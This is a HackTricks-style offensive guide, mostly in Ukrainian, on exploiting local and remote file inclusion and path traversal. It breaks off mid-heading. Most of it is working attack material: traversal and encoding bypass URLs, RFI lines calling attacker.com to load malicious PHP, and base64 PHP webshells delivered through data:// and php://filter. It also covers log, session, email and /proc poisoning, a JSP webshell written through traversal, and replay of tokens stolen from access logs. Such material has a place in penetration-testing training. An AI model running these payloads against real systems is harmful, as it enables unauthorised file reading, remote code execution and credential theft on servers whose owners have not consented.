File Inclusion/Path traversal

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

File Inclusion

Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (У найкращому випадку: ви можете написати код, і сервер його виконає). У php це вимкнено за замовчуванням (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.

Уразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.

Уразливі PHP-функції: require, require_once, include, include_once

Цікавий інструмент для експлуатації цієї уразливості: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Поєднавши кілька *nix LFI-списків і додавши ще шляхів, я створив цей:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Спробуйте також змінити / на \
Спробуйте також додати ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Злиття різних wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Спробуйте також змінити / на \
Спробуйте також видалити C:/ і додати ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Перевірте LFI-список linux.

Базові LFI та обхідні методи

Усі приклади призначені для Local File Inclusion, але їх також можна застосувати до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences видаляються нерекурсивно

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass додавання додаткових символів у кінці наданого рядка (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Це виправлено починаючи з PHP 5.4

Кодування

Можна використовувати нестандартні кодування, такі як double URL encode (та інші):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Сучасні HTML-to-PDF рушії (наприклад, TCPDF або оболонки такі як html2pdf) охоче розбирають HTML, SVG, CSS та URL шрифтів, надані атакуючим, але вони виконуються в довірених бекенд-мережах із доступом до файлової системи. Якщо ви можете інжектити HTML у $pdf->writeHTML()/Html2Pdf::writeHTML(), часто можна вивести локальні файли, які може прочитати обліковий запис веб‑сервера.

  • Fingerprint the renderer: every generated PDF contains a Producer field (e.g. TCPDF 6.8.2). Знання точної збірки підказує, які фільтри шляхів існують і чи відбувається декодування URL перед валідацією.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() читає атрибут xlink:href з елементів <image> перед викликом urldecode(). Вбудовування шкідливого SVG всередині data URI змушує багато HTML sanitizers ігнорувати payload, тоді як TCPDF усе одно його розбирає:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.

  • Кодування для обходу наївних фільтрів: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Подвійне кодування для багатоступеневого декодування: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f../../../../… without ever showing ../ to the early filter.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

З існуючої папки

Maybe the back-end is checking the folder path:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Дослідження каталогів файлової системи на сервері

Файлову систему сервера можна досліджувати рекурсивно, щоб ідентифікувати директорії, а не лише файли, застосовуючи певні техніки. Цей процес передбачає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:

  1. Визначення глибини директорії: Визначте глибину вашої поточної директорії шляхом успішного отримання файлу /etc/passwd (застосовується, якщо сервер на базі Linux). Наприклад, URL може мати таку структуру, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Перевірка папок: Додайте назву підозрілої папки (наприклад, private) до URL, потім поверніться назад до /etc/passwd. Додатковий рівень каталогу вимагає збільшення глибини на один:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Інтерпретація результатів: Відповідь сервера показує, чи існує папка:
  • Помилка / Немає виводу: Папка private ймовірно не існує в указаному місці.
  • Вміст /etc/passwd: Наявність папки private підтверджується.
  1. Рекурсивне дослідження: Знайдені папки можна додатково перевіряти на підкаталоги або файли, використовуючи той самий метод або традиційні методи Local File Inclusion (LFI).

Для дослідження директорій в інших місцях файлової системи відповідно відкоригуйте payload. Наприклад, щоб перевірити, чи містить /var/www/ папку private (припускаючи, що поточна директорія має глибину 3), використайте:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation — це метод, який застосовують для маніпуляції шляхами до файлів у вебзастосунках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сформувати шлях до файлу, який, після змінення заходом безпеки, все ще вказуватиме на потрібний файл.

У PHP різні подання шляху до файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ усі вважаються одним і тим самим шляхом.
  • Коли останні 6 символів є passwd, додавання / (утворюючи passwd/) не змінює цільовий файл.
  • Аналогічно, якщо до шляху додається .php (наприклад, shellcode.php), додавання /. наприкінці не змінить файл, до якого звертаються.

Наведені приклади демонструють, як використовувати path truncation для доступу до /etc/passwd, поширеної цілі через її конфіденційний вміст (інформація про облікові записи користувачів):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.

  • Використання крапкових сегментів і додаткових символів: послідовності переходів (../) у поєднанні з додатковими крапковими сегментами та символами можна використовувати для навігації по файловій системі, ефективно ігноруючи рядки, що додаються сервером.
  • Визначення необхідної кількості переходів: методом проб і помилок можна знайти точну кількість послідовностей ../, необхідних для переходу до кореневого каталогу, а потім до /etc/passwd, при цьому забезпечивши нейтралізацію доданих рядків (наприклад, .php), але збереження бажаного шляху (/etc/passwd).
  • Початок з фейкового каталогу: поширеною практикою є починати шлях з неіснуючого каталогу (наприклад, a/). Ця техніка використовується як запобіжний захід або для виконання вимог логіки розбору шляху сервером.

При застосуванні технік усікання шляху критично важливо розуміти поведінку розбору шляху на сервері та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідне тестування для виявлення найефективнішого методу.

Ця вразливість була виправлена в PHP 5.3.

Трюки обходу фільтрів

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

У php це вимкнено за замовчуванням, тому що allow_url_includeOff. Воно має бути On, щоб це працювало, і в такому випадку ви можете включити PHP-файл з вашого сервера та отримати RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Якщо з якоїсь причини allow_url_include встановлено On, але PHP фільтрує доступ до зовнішніх веб-сторінок, відповідно до цього запису, ви можете, наприклад, використати data протокол з base64, щоб декодувати b64 PHP code і отримати RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

У попередньому коді фінальний +.txt був доданий тому, що attacker потрібен був рядок, що закінчувався на .txt, тож рядок завершується ним, і після b64 decode ця частина поверне лише сміття, а реальний PHP code буде включено (і, отже, виконано).

Ще один приклад не використовуючи php:// протокол був би:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python кореневий елемент

У python, у коді на кшталт цього:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Якщо користувач передає абсолютний шлях до file_name, попередній шлях просто видаляється:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Це передбачена поведінка згідно з the docs:

Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і з’єднання продовжується від абсолютного компонента шляху.

Java — перелік директорій

Схоже, якщо у вас є Path Traversal в Java і ви запитуєте директорію замість файлу, повертається список вмісту директорії. Це не відбуватиметься в інших мовах (наскільки мені відомо).

Топ 25 параметрів

Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) (з link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI за допомогою PHP wrappers & protocols

php://filter

PHP filters дозволяють виконувати базові операції модифікації над даними перед їх читанням або записом. Існує 5 категорій фільтрів:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Видаляє теги з даних (все між символами “<” та “>” )
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Перетворює в інше кодування(convert.iconv.<input_enc>.<output_enc>) . Щоб отримати список всіх кодувань, що підтримуються, виконайте в консолі: iconv -l

Warning

Зловживши фільтром перетворення convert.iconv.*, ви можете генерувати довільний текст, що може бути корисним для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для детальнішої інформації див. LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Стискає вміст (корисно при екзфільтрації великої кількості інформації)
  • zlib.inflate: Розпаковує дані
  • Encryption Filters
  • mcrypt.* : Застаріло
  • mdecrypt.* : Застаріло
  • Other Filters
  • Запустивши в php var_dump(stream_get_filters()); ви можете знайти декілька неочікуваних фільтрів:
  • consumed
  • dechunk: скасовує HTTP chunked кодування
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Частина “php://filter” нечутлива до регістру

Використання php filters як oracle для читання довільних файлів

In this post пропонується техніка для читання локального файлу без повернення його вмісту сервером. Ця техніка базується на булевій ексфільтрації файлу (символ за символом) using php filters як oracle. Це тому, що php filters можна використовувати, щоб зробити текст настільки більшим, що php кине виняток.

В оригінальній публікації можна знайти детальне пояснення техніки, але тут коротке резюме:

  • Використайте кодек UCS-4LE щоб залишити початковий символ тексту на початку і змусити розмір рядка зростати експоненційно.
  • Це буде використано для створення тексту настільки великого, що коли початкова літера вгадана правильно, php викличе помилку
  • Фільтр dechunk видалить усе, якщо перший символ не є шістнадцятковим, тож ми можемо дізнатися, чи перший символ є шістнадцятковим.
  • Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадувати літеру на початку тексту, спостерігаючи, коли ми зробимо достатньо трансформацій, щоб вона перестала бути шістнадцятковим символом. Бо якщо це шістнадцятковий символ, dechunk не видалить його, і початкова «бомба» спричинить php-помилку.
  • Кодек convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє зрозуміти, чи перша літера — a, наприклад, бо якщо застосувати цей кодек 6 разів: a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже dechunk не видаляє її, і php-помилка спрацьовує через множення з початковою «бомбою».
  • Використовуючи інші трансформації, як-от rot13 на початку, можливо leak інші символи, наприклад n, o, p, q, r (та інші кодеки можна використовувати, щоб пересунути інші літери в шістнадцятковий діапазон).
  • Коли початковий символ — цифра, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
  • Остаточна проблема — з’ясувати як leak більше, ніж початкова літера. Використовуючи фільтри перестановки порядку в пам’яті, як-от convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можна змінити порядок символів і отримати в першій позиції інші літери тексту.
  • А щоб отримати додаткових даних ідея полягає в тому, щоб generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб зробити pivot with the next 2 bytes, та delete the data until the junk data (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не дістанетеся потрібного біту для leak.

У публікації також опубліковано інструмент для автоматизованого виконання: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Можна також використовувати php://stdin, php://stdout і php://stderr для доступу до файлових дескрипторів 0, 1 і 2 відповідно (не впевнений, як це може бути корисно в атаці)

zip:// та rar://

Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб мати можливість зловживати rar protocol, його потрібно спеціально активувати

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Зверніть увагу, що цей протокол обмежений конфігураціями php allow_url_open та allow_url_include

expect://

Expect має бути активовано. Ви можете виконувати код за допомогою цього:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Вкажіть свій payload у POST-параметрах:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Файл .phar можна використати для виконання PHP-коду, коли веб‑застосунок користується функціями на кшталт include для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Щоб скомпілювати файл .phar, слід виконати таку команду:

php --define phar.readonly=0 create_path.php

Після виконання буде створено файл test.phar, який потенційно можна використати для експлуатації уразливостей Local File Inclusion (LFI).

Якщо LFI лише читає файл без виконання PHP-коду в ньому (через такі функції як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize()), можна спробувати експлуатацію вразливості десеріалізації. Ця вразливість пов’язана з читанням файлів через протокол phar.

Для детального розуміння експлуатації вразливостей десеріалізації у контексті .phar файлів зверніться до документа, наведеного нижче:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Було можливим зловживати будь-яким довільним читанням файлу з PHP, що підтримує php filters, щоб отримати RCE. Детальний опис можна знайти в цьому дописі.
Дуже коротко: в PHP-кучі було використано переповнення на 3 байти для того, щоб змінити ланцюжок вільних чанків певного розміру, щоб мати змогу записати що завгодно у будь-яку адресу, тому було додано хук для виклику system.
Було можливим виділяти чанки певних розмірів, зловживаючи додатковими php filters.

More protocols

Перегляньте більше можливих protocols to include here:

  • php://memory and php://temp — Запис у пам’ять або в тимчасовий файл (не впевнений, наскільки це може бути корисно у file inclusion attack)
  • file:// — Доступ до локальної файлової системи
  • http:// — Доступ до HTTP(s) URL-адрес
  • ftp:// — Доступ до FTP(s) URL-адрес
  • zlib:// — Потоки стиснення
  • glob:// — Пошук імен шляхів, що відповідають шаблону (Не повертає нічого придатного для друку, тож тут не дуже корисний)
  • ssh2:// — Secure Shell 2
  • ogg:// — Аудіопотоки (Не корисно для читання довільних файлів)

LFI via PHP’s ‘assert’

Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією ‘assert’, яка може виконувати код із рядків. Це особливо небезпечно, якщо ввод, що містить символи directory traversal на кшталт “..”, перевіряється, але не належним чином санітизований.

Наприклад, PHP-код може бути спроектований так, щоб запобігти directory traversal таким чином:

assert("strpos('$file', '..') === false") or die("");

Хоча це спрямовано на запобігання traversal, воно ненавмисно створює вектор для code injection. Щоб exploit цього для читання вмісту файлу, зловмисник міг би використати:

' and die(highlight_file('/etc/passwd')) or '

Аналогічно, для виконання довільних системних команд можна використовувати:

' and die(system("id")) or '

Важливо URL-encode these payloads.

PHP Blind Path Traversal

Warning

Ця техніка релевантна в випадках, коли ви контролюєте шлях до файлу переданий PHP function, яка буде access a file, але ви не побачите вміст файлу (наприклад простий виклик до file()), і вміст не відображається.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Коротко: техніка використовує кодування “UCS-4LE” щоб зробити вміст файлу настільки великим, що PHP function opening файл спричинить помилку.

Потім, щоб leak першого символу, використовується фільтр dechunk разом із такими як base64 або rot13, і нарешті застосовуються фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE, щоб помістити інші символи на початок і leak їх.

Функції, які можуть бути вразливими: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Для технічних деталей перегляньте згаданий пост!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Коли серверний код, який приймає/завантажує файли, формує шлях призначення з використанням даних, контрольованих користувачем (наприклад, filename або URL), без canonicalising та валідації, сегменти .. і абсолютні шляхи можуть вийти за межі призначеного каталогу й спричинити довільний запис файлу. Якщо ви можете помістити payload у веб-доступну директорію, зазвичай ви отримуєте неавторизований RCE, розмістивши webshell.

Типовий робочий процес експлуатації:

  • Виявити write primitive в endpoint або background worker, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
  • Визначити веб-доступні директорії. Поширені приклади:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Сконструювати traversal path, який виведе вас з призначеного каталогу в webroot, і включити туди вміст вашого webshell.
  • Перейти до розміщеного payload і виконати команди.

Примітки:

  • Вразливий сервіс, який виконує запис, може слухати на non-HTTP порті (наприклад, JMF XML listener на TCP 4004). Основний веб-портал (інший порт) згодом буде обслуговувати ваш payload.
  • У Java-стеках ці записи файлів часто реалізуються простим конкатенуванням File/Paths. Відсутність canonicalisation/allow-listing — це основний недолік.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Зміцнення, яке нейтралізує цей клас вразливостей:

  • Визначайте канонічний шлях і забезпечте, щоб він був нащадком дозволеної (allow-listed) базової директорії.
  • Відхиляйте будь-який шлях, що містить .., абсолютні кореневі шляхи, або букви дисків; віддавайте перевагу згенерованим іменам файлів.
  • Запускайте процес запису від імені користувача з мінімальними привілеями і розділяйте директорії для запису від served roots.

Remote File Inclusion

Пояснено раніше, перейдіть за цим посиланням.

Через лог-файл Apache/Nginx

Якщо сервер Apache або Nginx вразливий до LFI у функції include, ви можете спробувати отримати доступ до /var/log/apache2/access.log або /var/log/nginx/access.log, записати в user agent або в GET parameter php shell на кшталт <?php system($_GET['c']); ?> і включити цей файл

Warning

Зверніть увагу, що якщо ви використовуєте подвійні лапки для shell замість одинарних лапок, подвійні лапки будуть змінені на рядок “quote;”, PHP видасть помилку і нічого більше не буде виконано.

Також переконайтесь, що ви правильно записали payload, інакше PHP буде видавати помилку щоразу при спробі завантажити лог-файл і у вас не буде другої спроби.

Це також можна зробити в інших логах, але будьте обережні, код усередині логів може бути URL encoded і це може зіпсувати Shell. Заголовок authorisation “basic” містить “user:password” в Base64 і він декодується в логах. PHPShell можна вставити всередину цього заголовку.
Інші можливі шляхи логів:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Читання access logs для збору GET-based auth tokens (token replay)

Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI primitive для доступу до web server logs, ви можете вкрасти ці токени з access logs і replay-нути їх для повного обходу автентифікації.

How-to:

  • Використайте traversal/LFI, щоб прочитати access log веб-сервера. Типові місця:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Деякі endpoints повертають прочитання файлів у Base64-encoded вигляді. Якщо так — decode локально та перегляньте рядки журналу.
  • Використайте Grep для пошуку GET-запитів, які містять параметр token, витягніть його значення і потім replay-ньте його проти application entry point.

Приклад потоку (загальний):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Розкодуйте тіло, якщо воно є Base64, потім відтворіть перехоплений token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Примітки:

  • Tokens у URLs реєструються за замовчуванням; ніколи не приймайте bearer tokens через GET у продуктивних системах.
  • Якщо додаток підтримує кілька імен token’ів, шукайте поширені ключі, такі як AuthenticationToken, token, sid, access_token.
  • Перестворіть будь-які tokens, які могли have leaked у logs.

Через Email

Надіслати лист на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте включити його в пошту користувача за шляхом типу /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>

Через /proc//fd/

  1. Завантажте багато shells (наприклад: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Через /proc/self/environ

Як у log file, надішліть payload у User-Agent — він відобразиться всередині файлу /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Через завантаження

Якщо ви можете завантажити файл, просто вбудуйте shell payload у нього (наприклад: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Щоб файл залишався читабельним, найкраще інжектувати в метадані зображень/doc/pdf

Через завантаження ZIP файлу

Завантажте ZIP-файл, що містить стиснутий PHP shell, та отримайте доступ:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Через PHP sessions

Перевірте, чи сайт використовує PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

У PHP ці сесії зберігаються в /var/lib/php5/sess\[PHPSESSID]_ файлах

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Встановіть cookie як <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Використайте LFI, щоб включити PHP-файл сесії

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Через ssh

Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa

Через vsftpd logs

Журнали FTP-сервера vsftpd знаходяться в /var/log/vsftpd.log. У випадку, якщо існує уразливість Local File Inclusion (LFI) і є доступ до відкритого сервера vsftpd, можна розглянути такі кроки:

  1. Інжектуйте PHP payload у поле username під час процесу входу.
  2. Після інжекції використайте LFI, щоб отримати журнали сервера з /var/log/vsftpd.log.

Через php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви передасте base64, що закінчується на “.php”, фільтр просто ігноруватиме “.” і додасть “php” до base64. Ось приклад payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Через php filters (файл не потрібен)

This writeup пояснює, що ви можете використовувати php filters для генерації довільного вмісту як вихід. Це, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.

LFI2RCE via PHP Filters

Через segmentation fault

Upload файл, який буде збережений як тимчасовий у /tmp, потім в тому ж запиті, викличте segmentation fault, і тоді тимчасовий файл не буде видалено і ви зможете його знайти.

LFI2RCE via Segmentation Fault

Через Nginx temp file storage

Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, можливо, ви зможете отримати RCE за допомогою наступної техніки:

LFI2RCE via Nginx temp files

Через PHP_SESSION_UPLOAD_PROGRESS

Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви передасте PHP_SESSION_UPLOAD_PROGRESS в multipart POST даних, PHP увімкне сесію за вас. Ви можете зловживати цим, щоб отримати RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Через temp file uploads у Windows

Якщо ви знайшли Local File Inclusion і сервер працює на Windows, можливо, ви отримаєте RCE:

LFI2RCE Via temp file uploads

Через pearcmd.php + URL args

